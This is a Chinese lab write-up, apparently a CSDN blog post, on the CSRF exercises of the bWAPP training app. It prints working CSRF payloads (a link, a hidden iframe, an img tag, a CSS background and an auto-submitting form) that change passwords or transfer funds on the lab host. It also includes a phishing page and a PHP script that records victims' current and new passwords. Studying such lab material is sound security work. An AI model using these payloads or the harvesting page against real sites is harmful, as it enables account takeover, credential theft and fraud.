bWAPP——CSRF

一、CSRF (Change Password)

1.1、Low
  • 本场景,通过GET请求方式修改密码, 并且验证仅验证两次输入的新密码是否相同:
    在这里插入图片描述
  • 面对本场景的攻击:攻击者将在自己的站点上构造恶意页面,并引诱被攻击者访问恶意页面的链接,即可达到攻击目的。
  • 恶意页面源码:
//1.链接利用(a标签)
<a href="http://192.168.83.129:10001/csrf_1.php?password_new=hack&password_conf=hack&action=change">Submit</a>


//2.iframe利用。注意:可以设置iframe的style为display:none,以此来不显示iframe加载的内容
<iframe src="http://192.168.83.129:10001/csrf_1.php?password_new=hack&password_conf=hack&action=change" style="display:none"></iframe>
//3.img标签利用。img标签内的内容会随着页面加载而被请求,以此src指向的位置会在页面加载过程中进行请求
<img src="http://192.168.83.129:10001/csrf_1.php?password_new=hack&password_conf=hack&action=change">


//4.CSS中background利用
可以利用CSS中background样式中的url来加载远程机器上的内容,从而对url中的内容发送HTTP请求
<h1 style="background: url('http://192.168.83.129:10001/csrf_1.php?password_new=hack&password_conf=hack&action=change');">CSRF</h1>
1.2、Medium & High
  • 本场景,修改密码时需要输入原密码,加以验证。当通过原密码验证后才可以修改密码。
  • 先通过钓鱼的方式攻击:构造一个钓鱼界面,诱导用户输入旧密码, 然后通过JS脚本"悄悄"将旧密码发送到攻击者服务器这里为了与原网页仿真, 复制HTML源代码:
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>bWAPP - CSRF</title>
</head>
 
<body>
    
<header>
<h1>bWAPP</h1>
</header>    
 
<div id="main">
    <h1>CSRF (Change Password)</h1>
    <p>Change your password.</p>
    <form action="http://127.0.0.1/csrf_hack_get.php" method="GET">
        
        <p><label for="password_curr">Current password:</label><br />
        <input type="password" id="password_curr" name="password_curr"></p>
 
        <p><label for="password_new">New password:</label><br />
        <input type="password" id="password_new" name="password_new"></p>
 
        <p>
		<label for="password_conf">Re-type new password:</label><br />
        <input type="password" id="password_conf" name="password_conf"></p>  
 
        <button type="submit" name="action" value="change">Change</button>   
    </form>
 
</div>     
</body>  
</html>
  • 攻击者将上述代码保存为csrf-hack.html文件。
  • 当提交表单时,发送表单数据到名为 http://127.0.0.1/csrf_hack_get.php的文件(保存用户的输入),攻击者服务器上的 csrf_hack_get.php源代码:
<?php
    $password_curr = $_GET['password_curr']; // 接收原密码
    $password_new = $_GET['password_new'];  // 接收新密码
    
    $file = fopen("secret.txt", "w") or die("Unble to open file!");	// 创建secret.txt文件
	
    fwrite($file, $password_curr);	 // 将原密码和新密码写入secret.txt。
    fwrite($file, $password_new);
    fclose($file);
?>
 
<!DOCTYPE html>
<html>
    <head>
         <title>404 Not Found</title>
    </head>
    <body>
         <h1>Not Found</h1>
    </body>
</html>
  • 攻击者将构造的恶意链接http://127.0.0.1/csrf-hack.html发给用户,诱导其访问。并填写
    在这里插入图片描述
  • 下图是通过钓鱼,获取到用户的原密码,即:password
    在这里插入图片描述

二、CSRF (Change Secret)

2.1、Low
  • 以POST请求方式,修改密码。
    在这里插入图片描述
  • 构造POST形式的恶意网页链接,诱导用户在其登录的状态下访问恶意链接http://127.0.0.1/csrf-post.html,网页文件csrf-post.html源码如下:
<html>
<head>
	<meta charset="UTF-8">
	<title>Title</title>
</head>
<body>
<form action="http://192.168.83.129:10001/csrf_3.php" method="POST" target="csrf-frame" id="csrf-form">
    <input type="hidden" name="secret" value="hacker" />
    <input type="hidden" name="login" value="bee" />
    <input type="hidden" name="action" value="change" />
</form>
<script>document.getElementById("csrf-form").submit()</script>
</body>
</html>
2.2、Medium
  • 以POST请求方式,修改密码时需要验证token,此token值是动态的。
    在这里插入图片描述
  • 有效防止了CSRF。

三、CSRF (Transfer Amount)

3.1、Low
  • 模拟转账, 使用的是GET请求方式, 这就使得转账金额和对方账户都在URL中暴露:
    在这里插入图片描述
  • 构造POST形式的恶意网页链接,诱导用户在其登录的状态下访问恶意链接http://127.0.0.1/bwapp-csrf.html,网页文件bwapp-csrf.html源码如下:
<a href="http://192.168.83.129:10001/csrf_2.php?account=123-45678-90&amount=10&action=transfer">Submit</a>
  • 用户一旦访问到这个构造的链接,账户上的金额就会被转走。
    在这里插入图片描述
3.2、Medium & High
  • 模拟转账, 使用的是GET请求方式, 转账时需要验证token,此token值是动态的。
    在这里插入图片描述
  • 有效防止了CSRF。
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值